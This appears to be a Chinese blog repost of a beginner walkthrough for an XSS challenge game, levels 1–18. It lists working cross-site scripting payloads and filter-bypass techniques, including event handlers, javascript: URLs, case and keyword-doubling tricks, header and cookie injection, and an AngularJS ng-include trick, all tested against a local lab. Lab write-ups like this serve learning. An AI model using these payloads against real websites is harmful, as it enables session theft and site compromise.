巨人肩膀上的矮子XSS挑战之旅---游戏通关攻略(更新至18关)

2019-04-04 约 2853 字 预计阅读 6 分钟

声明:本文 【巨人肩膀上的矮子XSS挑战之旅—游戏通关攻略(更新至18关)】 由作者 monika 于 2017-04-01 14:13:00 首发 先知社区 曾经 浏览数 21267 次

感谢 monika 的辛苦付出!

最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬@Mramydnei,喜欢XSS的大家可以一起来学习交流。

现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一起学习,互相进步成长。

第一关,没有任何疑问,简单的不能再简单,没有任何过滤

输入点在url里面,参数name

输出点在页面里面,没有任何限制

所以可以构造payload

http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script>

http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script>

http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script>


XSS挑战之旅---level2

来到第二关,发现这次输入点在界面和url里面都有了

输出点还是在界面中

我们来尝试进行XSS试探

test"><script>confirm("完成的不错!")</script>

发现神奇的弹窗了,好吧,来看看源代码

显而易见,上面尖括号被过滤了,而下面却没有

这样的话,我们原来的payload是可以用的

test"><script>confirm("完成的不错!")</script>

test"><script>prompt("完成的不错!")</script>

test"><script>alert("完成的不错!")</script>


XSS挑战之旅---level3

来到第三关,前面都比较简单,就不具体叙述

输入点输出点见截图

这里过滤了尖括号

我们用事件来弹窗啦

' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '


XSS挑战之旅---level4

第四关和第三关基本一样,真搞不懂考察什么

无非就是把源码里面单引号变成了双引号,同样事件弹窗

payload:

" onchange=alert`1` "
" onchange=alert`1` //
" oninput=alert`1` "
" oninput=alert`1` //


XSS挑战之旅---level5

废话不多说了,剧情还是原来的剧情

直接上源码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

这次是on替换成了o_n script替换成了sc_ript
很明显这是不让我们用事件和script啊

不想多说了,我自己走了弯路

现在直接发我的payload:

"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

XSS挑战之旅---level6

来到level6,这一关测试的主要是大小写问题,可以用大小写绕过技术

"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //

有趣的事我自己用的编辑器也弹窗了,哈哈


XSS挑战之旅---level7

来到第七关,这一关是针对script和on的过滤,我们可以构造来绕过

" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //

XSS挑战之旅---level8

来到了第八关,这一关难度加大,我们来继续

首先,我们需要先来进行测试一番

测试代码:

"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
' "><img src=x onerror=alert(2) x=

没有过滤:' > < % & #

过滤了:" src on script data

就是这些了,唉,头疼

输出点1:

<input name=keyword  value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">

这个服了,直接放弃

输出点2:

</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情链接</a></center><center><img src=level8.jpg></center>

a标签内,href属性中,很明显,我们想到了协议绕过

Javascript:伪协议后面可以使用URL编码。
        如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
        可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
        因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
        <a href="javascript:%61lert(1)">click me</a>

ri ri

javascript:%61lert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)

XSS挑战之旅---level9

本题目难点在于它会自动检测url,如果发现没有带http:// 内容则会显示不合法,那么应该如何绕过呢?

href必须带着url!

javascript:alert(1)//http://www.0aa.me  //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1)  //不能用注释的情况下

针对题目,我们可以适当修改一下

javascript:alert(1)//http://www.0aa.me
javascript:%0dhttp://www.0aa.me%0dalert(1)  //

XSS挑战之旅---level10

http://127.0.0.1/xss/level10.php?keyword=well done!

输入点在url中,参数是keyword

首先测试以下过滤情况

' "><img src=x onerror=alert(2) x=

群友大神给的payload:

url=&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

XSS挑战之旅---level11

我们从第十关走过来的,开始抓包,打开burp suit抓包看看

http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

抓包以后观察,我们发现refer参数会输出到后面

修改refer参数就可以达到弹窗效果了

XSS挑战之旅---level12

继续抓包,这次参数在user-agent处,依照第11关的办法抓包改包

XSS挑战之旅---level13

来到了第十三关,这次修改的参数在cookie里面

XSS挑战之旅---level14

查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的


漏洞,上传一个含有xss代码的图片触发xss。

exif xss

XSS挑战之旅---level15

这里用了angularjs的ng-include,直接在包含的页面里用&lt;script&gt;触发不了,用了img标签。

遵循SOP,只好调用第一关代码。

需要单引号包裹,否则变成注释。

paload:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
```

<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>

```
<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>

XSS挑战之旅---level16

http://127.0.0.1/xss//level16.php?keyword=test

过滤空格,script,/,使用%0d %0a做分割符

payload:

/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>


XSS挑战之旅---level17

输入点在url,我们来寻找输出点

不要被flash迷惑。

输入点在url中,过滤了尖括号和双引号,用on事件触发。

payload:

/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)


XSS挑战之旅---level18

http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)

感觉17题和18题没啥区别啊

payload:

http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`


19关和20关属于Flash XSS,这里不再赘述,有兴趣的小伙伴们可以去深入学习。

关键词:[‘新手’, ‘入门资料’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now